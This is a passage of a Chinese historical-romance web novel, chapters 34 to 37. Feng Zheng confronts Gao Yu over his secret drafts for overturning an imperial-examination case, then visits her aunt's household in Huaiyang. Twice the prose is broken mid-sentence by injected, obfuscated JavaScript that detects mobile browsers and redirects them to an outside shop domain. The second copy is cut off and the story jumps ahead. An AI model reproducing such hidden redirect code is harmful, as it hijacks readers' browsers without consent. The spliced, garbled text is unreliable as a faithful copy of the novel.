买纸可以隔窗交易，取纸却不行，书铺里乱成一锅粥，还是免不了趟一遍热锅。 干冽的天，隐约能呼出白雾，一阵风驱散烤粮摊上的热气，冯筝抚上胳膊紧了紧手，回到书铺的时候，怀里多了一包碳烤栗子。 半盏茶的工夫，他也终于从一群翻动着题集卷页的人群中走出。 他们衣摆摩梭，白底襕衫里走出一道长裾，如雪雾里穿出一条灰线，高豫逆流而鲜明，稍稍站定，听到她问了一句“要不要尝尝”。 栗子滚烫，裂壳醒脆，高豫笑纳一颗，听到冯筝问到行卷制度，回顾起这段他尚算了解的历史。 行卷是指应举者在考前把所作文章写成卷轴，投送朝中显贵，以此达到延誉的预期，即借声誉噪起，提前获取伯乐赏识。 “但割裂的是，声誉与做官并不能划等，科举取仕的硬制度下，明经科和进士科仍是进入仕途的两道门槛。” 然而，进士榜揭榜后，当名挂榜尾者媚调笔锋，行卷谋求举荐，期以在部院颁职以前搏到个好名次，行卷制度便开始背离它延誉的初衷。 渐渐地，有人把它类比“投牒自举”美名化，权贵营结、公卿请托的弊病也随之露出痛脚。 庆帝苦行卷制度久矣，朝堂答议的时候，曾拿朝中两位能臣作拟，照庆帝的话来说，“在这种科场风气下，被掩埋和隐藏的，只能是更多不知名的符仲玉和廉应殊。” 不得不说，各种药进膳补确实有用，高豫出声回顾完这些，仍能气息尚稳。 冯筝静默了一瞬，知道圣人提到的是淮阳符老符仲玉，以及当朝太傅廉应殊。 符老乃她远房表亲，至于廉太傅，她没记错的话，就是奉礼贼煞费苦心想攀上的岳丈。 冯筝没在意这些细节，听他提到过往，捕捉到一些细致的点，突然后知后觉地想到，高豫授官之前，太学院内，已经结识了他的先师，集贤殿大学士施润章。 好在秋闱那一年，他无心向先师投文延誉，没成为行卷制度的受益者，所以去年案变以后，行卷旧制把科场搅浑，御史们大翻旧账，连数多次榜名调动，痛陈满朝文臣的进士籍有疑的时候，那些痛陈痛骂的鞭子，没有打落到他的身上。 好处说多不多，至少让他被困囹圄，顶着清名替自己鸣不平时，始终直得起腰背和脊梁。 冯筝捂着碳烤栗子，眼神不自觉变得凄迷。高豫见机转了口风，和她冒雨放飞雪鹞那夜，一番豁达宽容的话相似，声称要跟旧案割席，等科场案完全掀篇，一切都会好起来。 “不对。”冯筝否定道。 “三郎君韬光养晦，不惜牺牲睡眠，也要起夜书写，废簏中的纸张一页页焚烧，灰烬飘出窗沿……郎君深夜焚稿，焚的什么稿？” 她倏地止步，一扫凄迷脸色，转变来得如此之快，高豫转过身来，乌睫悠然一定，相当凛冽地锁了锁她。 冯筝心府一振。 她蒙对了。 点灯烧炭，写稿焚稿……一个梳理完就要毁迹的东西，可能是会招惹祸端的把柄，也可能是一套隐秘的证据逻辑。 更有可能，直接是一张捧到御前的状纸。 所以她猜得没错，他很清醒地在坚持翻案。 她这样志得意满地想事情，一点也不怕贸然抖落秘密，会被跟前的人威胁伤害，她甚至眼含怨怪，因为他一直以来都在瞒她。 宣城酒楼的饯别宴，他用“酒醉胡言”的提醒，制止张季安说出朝堂政斗的猜疑。 宣城河灯夜驰骋而归，他用“罪实难逭”的定论，打消她对于他会如何雪恨雪耻的期待。 想想也对，很多事情，他连也亲姊也瞒，怎么能指望对她这个半道好友，乃至半道姻亲和盘托出？ 满街行人如丝，把刚刚还挨着走的两人遥遥隔开，富贵人家的车驾经过，仆婢随丁推搡开道，冯筝受阻退让了下。 对面高豫没多迟疑，收起锐意趋步走来，没走两步，被突然出现的元逢和元值挡在面前。 “早就觉得这趟行程你形迹可疑，之前在扶陵的时候，你便闭关不怎么露面，这会儿养着病，半夜不好好睡觉，为赶路的事情养精蓄锐，反倒避着姑娘烧纸稿，高郎君果然有私心。” “二爷叫咱们谨慎提防些果然没错，差点被你衣冠楚楚的样子蒙骗了过去。你打着护送姑娘的名头上路，半夜偷偷焚稿，连姑娘都瞒着，谁知道去淮州是要做什么见不得人的事。” “你利用姑娘的仁慈铺路，骗尽我们的关心照料，怕就怕，连病弱孤独的模样都是装出来的！” 两护卫痛声呵责，当街指出他的可疑之处，气氛僵持得像一块浮冰，所过之处呼吸尽寒，然而不管两头如何对峙，高豫始终没回应。 两护卫嚷嚷着他的异心，把他平静过头的表情视为摊牌。 她心神不定，既然这无聊的猜测他不稀罕解释，那别的呢，他焚的稿，会是她想象的那样吗？ 护卫难得捉住他的把柄，难得她没有站出来袒护，他们奉命护送姑娘，自问有责任清除异己，岂能轻易放过这样宝贵的机会。 高豫不招，他们不是没有招数。他们直奔宅邸，闯入他的寝居，试图翻出证据，最后得到的，除了还未烧尽的残纸，便只有炭盆里一捧隔夜的灰。 残纸稀碎，早就不剩什么内容，指责他狡诈的声音传出寝居，期间，高豫眼皮都不抬一下。 冯筝和高豫遥遥相隔，一并站在院落中，她就这样纹丝不动，等他亲口告诉她苦衷。 她不一定信，但一定会把这场对峙轻柔化解，然后找个僻静的角落，怪他昨夜焚稿不够谨慎，一个不察让她揪住了破绽。 寝居被倒腾不休，胜似羞辱欺凌，而他毫无阻意地停在一旁，望着冯筝脸色生硬，孤单如寒潭鹤影，冷酷似无情弥陀，两相对望间，她额穴有点突突地疼。 院落的枯叶扬了又扬，乌云蔽空，天色一瞬间压暗，尘砾吹到眼睛里，这么一疼，眼皮就不受控地栽了下去。 再一睁眼，就看到高豫拂袖而至。 他们哼哧哼哧翻得正勤，他睁着无悲无喜的眼眸，步履坚定，远离喧嚣，准确朝她的方向走近，突然振袖探出手来，卷幅向下一抖，整张手稿亮出了真容。 满纸批注，密如蚁走，写满那些据她所知，只会出现在奏章或者榜文里的名讳。笔墨标注的事件串连成网，冯筝眼睫微抖，便是此刻明悟，哪怕江南科场案结案已久，依然存在许多遗留问题。 冯筝丝毫不流连，收回眼，按下他的手，而后认真且沉静地，告诉他一句，自己一直以来都想说的话。 “不用细说，你要做什么，就去做好了。还是那句话，你先是高家的三郎君，才再是我冯阿伯的妻舅爷。” 手稿详情，冯筝半句也没提及， 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只需要再等等，等到天黑就寝，一切耳目将息，会有机会跟他交谈。 晚膳后，他们各自回到配房，高豫寝居已经熄烛，屋门没有落锁，轻手一推便能走进。 天近擦黑，四周都是朦胧的黑，但依然能发现，室内已经被他归置整洁，仿佛闹剧从未发生。 榻上的人身披薄被，面朝墙侧卧，顺着颈项往下，隐约可辨素白中衣。 他已除服睡去，头顶发冠未拆，若非困极了，不会以这样不太舒服的方式就寝。 他睡得略早，较他平时的作息有些反常，冯筝幽幽想道，他没明白她的意思。 眼下不好打扰，她却短暂没有要走的意思。 冯筝俯身蹲下，手臂叠在床沿，高豫高冠侧枕，脑后一缕碎发随她呼吸沉浮，她看了看，手指扣在榻边静思。 “你可能不知道，你到私塾做西席先生，他们说你会安定下来，这话我从来就没信过。” “他们想的很惊险，说当初京部允你归还绶印，只是让你缓一缓能喘口气，而在这条充满绝望的归途里，等待你的将会是一场屠杀。” “你千里迢迢去睦州送死，又好端端活着回来，经此一遭，谁都会想要安定的生活。” “但我却不这么想。” 那天午宴散席，她去膳堂尝定胜糕，听到爹娘一番评说，她便抱有不同的想法。她思绪游走，声音放得很轻，想一句是一句，无所谓他能不能听见。 “踏实谋生不等于自甘堕落，密谋举事也不等于自寻死路，我猜的没错，安定只是一时权宜，你一直以来都打算翻案。” “白天那些字稿，元家兄弟面前，我已经说是诗稿糊弄了过去，你走以后，类似的闹剧不会再发生了。” “你总归是要走的，我再想留你，也懂鸿隐之辈焉能久留的道理，即便你没走，我也无意阻拦你做任何事。” 一直以来，她都害怕和他身为高豫的苦难共情，念在过往情谊，稍稍听他排遣一下苦闷也不是不行，可他待她，时而亲切时而疏远，一点苦也没讲过。 冯筝抱怨起这件事，喃喃自答，“你喜欢硬熬，我乐意成全，你欲守独，我自然也没有二话。” “唯独有一点我没有想通。” 相逢以后，关于高家旧案，他好说歹说地稳住她，就是不知道更早以前，他是怎样稳住高蘅的。 是让她清楚高家式微，无能翻案，还是直接瞒她说旧案无冤，让她死心？ 照蘅娘多愁善感的性情，能绕过亡父，惋惜高振……冯筝扣着被褥，抽丝剥茧，把疑问一点点排除，“那就只能是第二种可能了。” 她的气息掠起枕边那缕发丝，带点愁苦的呢喃，“你给高相的死盖棺定论，以防节外生枝，骗我说他没有冤情。” 可是高豫，你想没想过，郊屋雨夜，我好奇科场案的隐情，怨怼革职下狱期间，为什么没有人，愿意伸手拉你一把，当时你明明可以不理睬我，却还是自揽话题，从上峰王勉细数到尊师施润章，把他们的顾忌撕开来讲，正好说明，你是相信我的。 你很清楚不管发生什么事，我一定会站在你这一边，若非坚信我的选择，在意我的喜怒，你何苦向我费这唇舌？ 一点超越情谊的东西，他窖藏得很深，聪慧如她，怎么可能毫无觉察？ 冯筝呼吸绵绵，尽量把声息压得细弱，柔声捅破它，“对也不对？” “你看，其实我都知道。” “三郎君……” “可不许再哄骗我了。” 35. 第35章 一番自说自话持续到很晚，整个人疲倦得有些撑不住了，她拍拍裙身走人，感觉良好，完全没管这般鬼魅低语，会不会让他梦魇。 回房蒙头就睡，渐渐呼吸清浅，她睡得坦然，完全没想过，这一天还能有什么变数。 簌簌卷柏声将天地动静淹没，冯筝捂着被面翻了个身，意识迷蒙，眼前也是凌乱模糊，好像回到了闺阁里那张暖帐床上，抱着那只饱满又能转面的圆枕，而非什么棕绳编的软枕，又扁又薄。 “阿姆，铜手炉还没烧。” 吴阿姆对她向来有求必应，没多会儿，暖融融的手炉准确找到了她的怀抱。 冯筝倍感舒服，回礼般挠了挠阿姆的手背，让她去睡，呢喃停在嘴边，寂静黑暗里，冯筝突然醒神。 映入眼帘的是一只因蓄力而筋节贲张的手，高豫把手别到后腰，于她睁眼的刹那蹲跪在床前。 冯筝眼瞳一震，就看到他那双清亮的青莲眼，精神抖擞地注视她。 “既然醒了，就起来吧。” “我说过，等你醒了酒，再来跟我好好谈谈，之前错过了，现在补起来还不晚。” 这话话题跳跃，预先没有铺垫，她既惊疑又一头雾水，想起片刻前的隔榻相会，还有什么不明白的—— 他压根没睡，他装睡骗得她自言自语，还礼尚往来，夜探香闺。 他能装睡，未必她就不行，冯筝狠狠垂眸，高豫轻轻一按，她又不得不睁眼跟他好好商量。 “可是高豫，我有点困了……啊！” 一只手伸进被褥，直接把她薅出了被窝，高豫俯身跪榻，用绒毯把她裹成个粽子。冯筝镇定地苦笑，交谈归交谈，何须这么郑重？ 也不知道自己那些话被他听进去多少。 他鸦睫振振，难掩激越振奋，她先是想起来忘记锁门，迟迟才意识到，今天的他处处透着异样。 起初是守着煎药的文火走神，她赶来唤醒他，震铄动容的眼神把她惊了一惊，随后是隔着石阶审视她，就差把她按进眼里，再后来，他无视护卫欺辱，就那么毫无预料地，把守得稳固的秘密亮给她看。 高豫俯首跪榻，这期间，她一直防备着他有后招，但没有，强行薅醒她以后，高豫退出两寸距离，守着冷静克制的声线问。 “那份手稿篇幅翔实，绝无藏私，诚心出示给你，为何又不看了呢？” 他是真的疑惑，以至于眼尾微翘，温情脉脉，冯筝若有所思地望着他，微微启唇没说出话。 他很快便也想通，那篇写着翻案证据的手稿，脱离了推敲过程的语境，便相当于一纸没有注释的终稿，除了本就通晓案情的人，寻常人没有谁能真正看懂。 “也对，那篇手稿文理不通，简单堆砌字句，放在谁面前都得头疼。” 那些梳理了逻辑的笔记，这两夜早已被他全数焚毁。说话的间隙，高豫已经点亮烛台，挪来置烛的短案，抽出前襟里的白纸，掏出一应文房用物，伏榻扼袖，骤然起笔。 他连笔墨也备齐，很难想象他到底抱着什么心态，经过何等慎重的考虑才来到这里。 新墨濡湿，落字成行，冯筝再迟钝，也看懂了他到底写的什么。 “内藏库收纳贡赋税银，其于景仁元年的亏空，因动用回流的京库纹银填仓而蒙混过关。不久后，朝廷推行榷税新政，这期间，左右两相政斗不休，在税纲一事上出现分歧。” “右相高平缮以压缩茶租药租，稳保民生的理由，驳回朝中有关等量税租的一切奏请，和左相以充盈国库为先，随时应对赈灾的政见不合。对此，左相黄迁大翻旧账，证明国库亏空，扳倒主张压缩税租的高相等人，这就导致内藏库违规回流库银之举，阴差阳错地被翻到了明账。” “内藏库隶属户部太府寺，由户部尚书常朗掌控，这个错漏被黄相发现，尚未捅到御前。面临清算危机，太府寺站了阵营。” “后来江南岁考在即，高相‘知贡举’的委任状下达，携礼部要员下赴江南，启程以前，太府寺买通了贡院外帘，打探到了预向他行卷的江南士胄……” 他边落笔边注释，像是经过慎重推敲，每一句停顿都踩得很重，又绘声绘色，生怕旧事无趣而惹她犯困。 高豫席地而坐，窗前的银辉覆上发顶，疑是经冬雪未消，她夜探寝居发牢骚，抱怨他瞒骗她许多，他就真的毫不藏私，携纸捎墨来给出回应。 他提笔重写他飘飖半载所查证的实情，凛声回顾他条分缕析后确凿的认定，冯筝脑海嗡嗡地响，终于看懂，这是将她视作知己，决定对她以心换心的厚貌真情。 他专注写着案情，烛光也同样描摹着他的脸庞。高豫颌线紧绷，还在继续叙述，冯筝眼皮酸疲，真的熬不住了，就侧躺在榻上静静看他忙碌。 她没忍住，浅睡了一会儿才睁眼，却见片刻前还满幅清白的纸张，经过笔墨铺陈，呈现出一副惊人面貌。 翻案难于登天，不知从何时起，已经不再只是片辞孤证。宽闳的指证靶向朝野，横扫大半个宫禁，让她在这只有一幢灯影作伴的安稳榻上，忽然感到摇摇欲坠。 灯影宽抚他，照出一身坚韧强大的决绝，而想起压在箱笼底的刑书律籍，她忽然感到一股大恸。 她勤恳研读刑律，准备磨刀霍霍向堂官，却在亲眼见证他撰写案情的这夜，一颗善心摇摇欲坠。 高豫手枕短案提笔，罗列着朝臣罪状的笔下，雪白的宣纸厚重磅礴。 当他从半幅朝纲前停笔，磊落平静地掐灭烛芯，冯筝便一下子认清，她没有能力帮他翻案。 说她知难而退也好，畏惧强权也罢，她毕竟是要回去议亲的，总得替自己做打算。 她自耻自嘲一番，竟听到高豫轻轻一笑。 自他进来时起，冯筝就没怎么说话，他没道理听到她自嘲。 眼瞳慢慢适应黑暗，疲倦的眼眶也舒适很多。高豫之所以熄灯，是因为看到她眼底乌青，想到烛光照面影响她就寝，所以才掐灭了烛芯。 他起身但没有离开，走到外间，把笔墨纸张挪到书案上去。 寝间重新昏暗，更适合睡觉了，她平复半晌，还是轻手轻脚地下了榻。 他欲提笔蘸墨，继续完成字稿，背影静默，不会吵醒她，却被一双柔软的手捂住了眼。 “更深露重，不许再写了。” 声音富有情绪，妩媚幽怨，一下子让他手腕僵滞。 哪怕不能视物，也不妨碍墨笔被他准确搁置在砚台，可惜冯筝会错了意，以为他要继续蘸墨以示拒绝。 眼看拒绝的人快要说出不动听的话，她头脑一热，双手向下捂住他嘴唇。 掌心贴唇，触感突如其来，高豫敏感回避，但这姑娘尚没来得及松手，嘴唇轻轻蹭过她手臂。 手臂内侧，一粒痣点逗留着余温，过电般地，冯筝连忙撒开了手。 那是一粒红痣，浑身唯一醒目的痣点，方才情景历历在目，她不受控地耳红耳热。 此刻高豫也没多坦荡，红痣在脑海中短暂停留，高豫尽量平复，哪怕处境再尴尬，也无法做到不动声色。 “对不住，是我冒犯。” 这个时候，只要她顺水推舟的一句谅解，难堪的局面便能使双方的情面都得到挽回。 但她似乎不紧张颜面，根本没理睬他，紧抿唇瓣逃回了里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098825|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间，蹬鞋盖被的声音一气呵成。 闻声，高豫屏息片刻，提笔清静脑子，久久写不出一个字眼，尝试继续完稿的他，很快便弃置笔墨仰躺在椅上，抬手覆眼。 黑暗中，理智和私欲抵死缠绵。 -- 无论这事能不能翻篇，既定的行程还是要继续。 隔天清早，护卫们将最后一抬箱笼搬上马车，约摸一刻钟后，冯筝锁了宅门出来。 出于昨晚没睡好的缘故，她精神蔫蔫，晨起又发现来了月信，脸色就显得有点苍白。 哪怕用粉简单遮了遮黑眼圈，用唇脂抬了抬气色，她也知道自己此刻的状态肯定不好。 赁给他们宅院的妇人早就在等，她加快了脚步，将钥匙如数交还给对方。 妇人年纪四十左右，揣起手头的钥匙串，倒没留心她哪里不自在，客套地问，“姑娘这就要走了？” “是啊，宴席不等人。” 她尚且记得，妇人初见他们时，眼神就不停地往她和高豫身上瞟，跟邻里婶娘起哄时的反应一样。 回娘家探亲，哪有赴宴的理由简单干脆，而且据淮阳回信，符府本就打算摆宴招待，一句话的事，能省去许多麻烦。 冯筝学聪明了，妇人点点头，回道也对。 当扭头，看到起初见到时还负着重伤的青年，此刻正配合着侍从清点物用，挺拔利落，妇人又忍不住笑道，“清晨听说要结租的时候我还纳闷，如今见全了人，我倒也不意外了。” “所以说，身体康健才方便赶路，姑娘能够照顾好别人，也同样要照顾好自己。” 冯筝含笑应下，临走前又问她，附近哪里有卖红糖。妇人一听就懂，思索了下，指了指路，又好意劝她多歇几天，租钱减半，冯筝不愿拖延，毕竟再往前不远就能到淮阳。 前段时间买的药膳，以及箱笼里的生姜茶包，如今已经没剩下多少，虽然最近晨起没怎么出汗，眼看年底慢慢转凉，还是需要暖宫滋脾。 路上，元逢拿着药方照例去采买，回程时却发现，高豫已经先他一步回来。 元逢不禁多心，怀疑他刚刚走远又在藏什么私，跟过去一探究竟，顺便问元值，“他去干什么了？” 元值摇摇头，“他没讲，我就没问。” 车壁响起叩动声，冯筝撩起车帘，见到属于高豫的脸时没多意外。 冯筝鼓着眼睛瞪他一眼，发现递来的红糖豆羹，才又认栽般轻叹一声，接纳了他的好意，放下帘子隔绝掉视线。 一段情景给两个护卫看呆了，毕竟对高三郎一向护短的姑娘，会朝他瞪眼本身就是件稀奇事。 冯筝捧着蒸碗，猜到她与妇人的对话已被高豫听去。碗里浇了薄薄一层红糖，咸豆花中和了糖的齁甜，吃进胃里，既缓冲了饥饿，也减轻了月信突至的不适感，这样一来，记起昨夜那场意外的亲近，也没那么耿耿于怀了。 元值跟哥哥嘟囔，“辰时都快过了，现在才想起来献殷勤，姑娘可不会记他的好。” “少说两句吧，总比观望着她挨饿，无动于衷的强。” 这边冯筝错过了早膳，吃完一大碗豆羹，半条胳膊熟稔地递出来，笑容颇美，“劳驾了，帮我把碗还给高大善人。” 四字称呼咬得略重，元值语塞，他刚刚跟哥哥吐露不满，声音刻意抬高，确保姑娘可以听见，结果借题发挥不成，感觉被打脸。 元值动弹得慢，还是元逢老实照做，不假辞色地完成交涉后，收紧缰绳继续出行。 等路过貌似高大善人逗留过的糖羹铺子，元值终于瘪嘴暗哂。 “高三郎好手段，哄得姑娘服服帖帖。” 36. 第36章 淮阳郡符府，符管事在府门前踱步，自从冯家答应邀约，首肯表姑娘百里探亲以后，符家便一直关注着她的动向。 他受夫人所托，料理接应事宜，前阵子收到回信称，月底能至淮州，算算行程，应该差不多到了。 等人这事需要耐心，奈何符夫人晨醒的时候，拉仆妇传话，点名要守到冯筝，磨得还算沉稳的符管事也开始变得焦虑，留意完膳席和茶点，这会儿就到门前守着。 遥遥见到派出去蹲消息的人回了，符管事吁出一口长气。 “去巡检署通传小符大人。”他有条不紊地吩咐，“就说，府上盼的人到了。” 淮阳没有公侯食邑，符老爷符仲玉官勋四品，生前又特地给夫人求来恩典，赐封乡君，满城上下，找不出比他们更显赫的门第。 符老爷夫妇伉俪情深，冯筝少时就有所耳闻，只是符仲玉常年留在京部，每逢除夕才回家过节，她寄住在符府那段时日，刚好错过年节，所以她和这位表姑父，其实是没见过面的。 门房的人很热情，将陪行的随从安置好，便引冯筝拾路而去。 略去冯家两房和符夫人的表字关系，她和符邺，也算姑表哥和舅表妹，引路的婢女唤她表姑娘，见她指腹攥红，安抚她莫要紧张。 冯筝心头砰跳，这一路奔波，耗时一个多月，她对探望远亲这事本来没什么实感，等到脚下真踩踏实了，踏回这座曾经寄住过的府邸，难免有点近乡情怯。 “表姑母身体可还康健？” “她还像以前那样爱吃甜吗？” 她不停找话，婢女将人领到堂屋，跃上台阶，面对这位相较以前不仅长了个，话也多起来了的表姑娘，推开虚掩的门，连连笑应：“康健，康健。夫人还是见甜则喜呢。” 光亮凌乱地涌进室内，骤然变多的面孔令冯筝眼前短暂失焦，花了一点功夫，才看清里面或站或坐十来个人。生人面孔居多，大多都是仆婢，她正要过去福身，须臾间停了停。 “表姑母有客人？” 随着主座符夫人起身，在座全部站了起来，看向这个府里三催四请才盼得一面的姑娘，表情大多有些复杂。 人群稀稀拉拉簇拥过来，在她弄清楚情形前，双手已经被紧紧握住。 传闻年轻时，符乡君生得一副典雅英气的好相貌，多年病痛磨平了锐意，她肃穆不起来，气势减弱反添亲善，气质也变得雍容闲雅。 先丧夫又害病，背后肯定没少吃苦，见她苍老许多，冯筝眼眶酸楚，符夫人却难以抑制地笑出了声，“可把我筝娘盼来了，若非我腿脚不便，又禁不起寒风，我怎么也得亲自去守你。” 冯筝闻言微惊，“您的婢女还说您康健来着。” 符夫人挺了挺腰背，反嘁她道，“没说错，我坐卧自如，起居自便，谁看了不说声健硕！” 两姑侄正寒暄，一道女声适时插话道，“谢郎君是老爷在京时的学生，这些年都会回来祭奠，给老爷点长明灯。” 随后又告诉乡君，“母亲，邺郎午时会回来用饭。” 女子绾妇人发髻，既解答了她方才的疑问，也提醒婆母，用膳的时辰能推延则推延，好等一等符邺。冯筝听出少夫人身份，行礼敬她“表嫂”，视线最后才关照到另一人身上。 按照礼节，闭门候客的情形比较少见，虽说表姑母归结为身体原因，但若原先有客就更说得通了。 男子着藏青襕衫，腰佩环绶香囊，年纪看上去还算轻，随身安排却不单调，只身边就伴着三名小厮。 早在两姑侄寒暄时他便自发落了座，冯筝很自然地望过来，谢阅丰颔首向她报了名姓。 毕竟是师母时常挂在嘴边的表小姐，冯筝不认得他，谢阅丰却对她稍有了解。此女出身书吏小户，老家主从吏部退贤，安守宣州祖宅，除此之外不值得一提。 然而就在刚刚，据他外出回来的小厮目睹，门房那边收到的献礼，一摞礼单实在扎眼：茶品送的是阳朔府官供，香油产自邯郸大名府，原本对来客无甚在意的谢阅丰，对这姑娘乃至冯家的底细难得感到疑虑。 符夫人不着急摆膳，拉着侄女瞧变化，听到郑琬说话才记起来介绍。 “我们两家许久没有来往，结亲之事也一直没方便知会。琬娘是你表哥媳妇，你们不必见外。府里这两年的光景大不如前，幸亏有你表哥守业，他在城中的巡检署谋了个武职，等午时上了桌，再让他跟你好好叙旧。” 冯筝无有不应，仍在感怀表姑母的苍老，心情写在脸上，符夫人轻拍她手背以示宽慰，还要继续寒暄。 “不必等到午时，有旧现在就能叙。” 符邺跨入正堂，对眼前受众亲瞩目的情形习惯得麻木，向女人堆走来，步伐一路毫无停顿。 符邺乃符氏唯一的嫡系，相貌变化不大，出于弱冠后习武的缘故，身材结实了许多，只一副不苟言笑的样子，还与从前大差不差，郑琬最先上前，又惊又喜。 “怎么提前回来了？” “管事传消息说人到了，我便提前打了招呼下值。” 符邺说着，证明来意一般看向冯筝，冯筝回过神来，主动施了礼，符邺致以问候，慰劳路上辛苦，然后取出整盒核桃纹乌枣先带给她，剩下的则交于下人，分给宅眷尝鲜。 一遍接触下来，既不疏远也不亲厚，冯筝捧着沉甸甸一盒见面礼，自然而然领受了好意，“多谢符表哥。” 符邺由此多看了她一眼，他视线未多逗留，转头向母亲交待署衙事务变动的事情，符夫人却不怎么领情，“你心里有数就够了，这种事你自有应对，叮嘱你也会嫌啰嗦，筝娘这么多年才回来一趟，你倒是该多跟她说说话。” 符邺眉峰蹙起，登时没了下文。郑琬出来圆场，说男人能讲的，不过官署里头那些事，想必表姑娘不会感兴趣，提醒婆母，好多事还没来得及跟表姑娘分享，不如趁机好好捋一番，他们表兄妹要有话，留到膳桌上说也不迟。 这番话应心，符夫人没有擒着儿子不放，拉冯筝坐下好一番叙旧，回顾到煽情处，忍泪克制情绪，旧事涌上心头，冯筝也眼角微红。 符夫人觉得人多碍眼，提议要带她挪到寝堂去，还是符邺率先察觉不妥，出手阻拦。 此刻谢家郎君还在，符家再讲究待客之道，也没有客人不动，反让主人腾地方的道理。冯女和谢郎虽都是客，却有轻重之分，母亲对冯筝的重视摆在那里，符邺分得清孰轻孰重，这就主动带谢阅丰出去晃荡。 终于被记起存在的谢阅丰哪有不应，这一走，瞬间清走了大半仆从。 两姑侄说话没了顾忌，经夫人授意，郑琬使唤仆妇，捧屉盒去请表姑娘笑纳，屉盒上一摞衣裳首饰，冯筝坐不住了。 “此程是我来拜见您，让您久等，我应该内疚才对，怎么好意思反收您的礼？” “入我乡便随我的俗，好孩子，别拂我面子。” 冯筝心底五味杂陈，这趟探亲，家中只打发她一人前来，符府没心生怪罪就极好了，从进门到落座，符家半点都没冷落她，乌枣的礼能收，多余的就有点过了。 郑琬不清楚表姑娘的性情，担心这位脸皮薄不肯收，闹到最后，不好收场的还得是她，索性补充道，“之前不了解你的身段，衣裳便做得宽松一些，方便改动，若有不合身的地方，你只管同我们讲，不想麻烦夫人和邺郎，就直接来找我吧。” 事都圆融到这份上了，冯筝笑了笑，只能将拟好拒绝的说辞咽了回去，答应的同时一并道谢，谁知郑琬刚提起符邺，符夫人就又嘴碎起人来。 “符邺幼时骄纵不着调，谁知道最后，偏偏就是这个曾经我不看好的孩子，一手操持父亲的丧事，一手稳住偌大家业，能独立做到如此……”符夫人深深感慨，“你表哥他没得说。” “邺郎心性成熟，又识大体，这些年慢慢练达，也树立起了威信，一切都离不开母亲教导。” 符夫人眼盯儿媳，像听到什么稀奇的事，忽然开怀地笑了，琬娘正疑心自己哪句话说错，就被夫人握住手坐下。 “自打性情沉下来之后，他倒是变得知事明理，然而你不知道，以前他浮躁起来，狼崽一样逮人就咬，不信你问问筝娘，可否有这回事？” 或许是因为相比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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近到买粮，远到赴宴，或为探亲，或为讨债。买粮人期待满载而归，赴宴人期待大快朵颐，探亲的冯筝期待一睹亲容，讨债的高豫期待争取到回报，所有人都在为实现期待而努力，飘摇播迁的路途也总要有终点。 数月以前，高蘅那声“这对他是无妄之灾”的哭诉，不断在她耳畔回响，既然高豫已经握足证据，后续的事，无外乎写劾牒，写状纸，再找一信得过的帮手递到御前。 他跪钦差，用一身清白赌一道致仕的恩典，未来跪审堂，用一封状纸赢一纸赦免的公文，这样看似很对等的“买卖”，高豫筹备了上百个昼夜，这样看似很公平的“交易”，消耗他半年甚至更久的年华。 这就是为什么，那天宅院晨起，看到枕下那幅墨迹很新的手稿完整呈现在眼前时，她会心神动荡，也是为什么，跟他在淮阳郡告别的当头，明知往后的事应该各不相干，也坚持要祝福他，期待他能得偿所愿。 厢房的抱枕软蓬蓬的，路途圆满结束，梦境也很美满，醒来时刚好赶上布膳。 午膳被安排成酒宴，用陈酿梅酒尽兴，符邺及谢阅丰两人，安静吃着闷菜，纯粹来给女眷们作配。 如同衔菜必须被碗接住一样，她们的声音有来有往，冯筝偶尔搭腔，每当表姑母提到自己，话题总是着魔般牵引到符邺身上。 拉拢两个生疏的人叙旧，跟随便拉郎配一样磨人，一顿饭吃得符邺眉峰屡跳，冯筝也没安生多少。 符夫人说着话，情到深处竟哀痛起来，腔调挫败，不可控制地流泪，郑琬抬袖替她擦眼睛，被符夫人挡下。 “你们都是我亲手带过的孩子，在我抚养的羽翼下相伴，姑且算半个青梅竹马，如今难得见面团聚，怎么一点亲情也维系不起来呢？” 一切超出冯筝预料，不同于符邺静待山雨欲来的姿态，她心惊肉跳，人也不困了，酸乏的肩颈一下子绷紧。 手中没攥稳的汤匙摔落，混在仆妇们慌忙的脚步声中几乎听不见。符邺经过她身边，替她捡起落地的汤匙，而后短暂停留，示意她借一步说话。 乡君落泪，仆妇们抢着过来安慰，递帕子的喂水的，很快挤占了大半个膳堂。此情此景，连谢阅丰这个外人也有些看不下去，他劝不动师母，准备求助郑琬，却见素来擅长圆场的少夫人，此刻竟然呆坐着没动。 郑琬神情错愕，眼前，冒昧无礼的奴婢来回穿梭，享尽荣华的婆母无病呻吟。 以及丈夫和表姑娘那一前一后消失的身影，一切都显得好生荒唐。 37. 第37章 廊风拨动袖摆，冯筝担忧地望向膳堂，半尺之遥的地方，符邺冷静得出奇。 曾经借住在符府的远亲不止她一个，符邺清楚记得，这姑娘自小细致，能把简陋的生活过得美满充实。那时母亲的脾气还比较焦躁，对谁都一般苛刻，唯独对她颇有耐心，让他这个没少挨揍的嫡子，脸面经常无处安放。 或许乖巧懂事的晚辈，总会优先获得长辈青睐，过了弱冠的符邺回头再看，觉得那幼稚吃醋的自己可笑至极。 接到符管事报信之余，他曾简单设想过见面的情境，却没想到，她能草率到身边一个伺候的婢女也无。 膳堂的仆婢踊跃地献殷勤，刚刚冯筝貌似受惊，现在的心情只剩下古怪，符邺镇静依旧，“母亲的花样，如今也只能唬住你了。” 冯筝回头：“什么？” 符邺知道她听懂了，解释起他的司空见惯。 “我父亲年轻时走上仕途，只留母亲操持家事，她凭雷霆手段治家，将宅第打理得有条不紊，然而人总得服老，不是所有人都敬她威信，也不是所有人都听她使唤。” “你被接走以后，她带大的晚辈脱离她掌控，远亲的孩子一个个远走，母亲自察严苛，却也无法接受落差，久而久之，便选择演苦情戏来让人服软。” 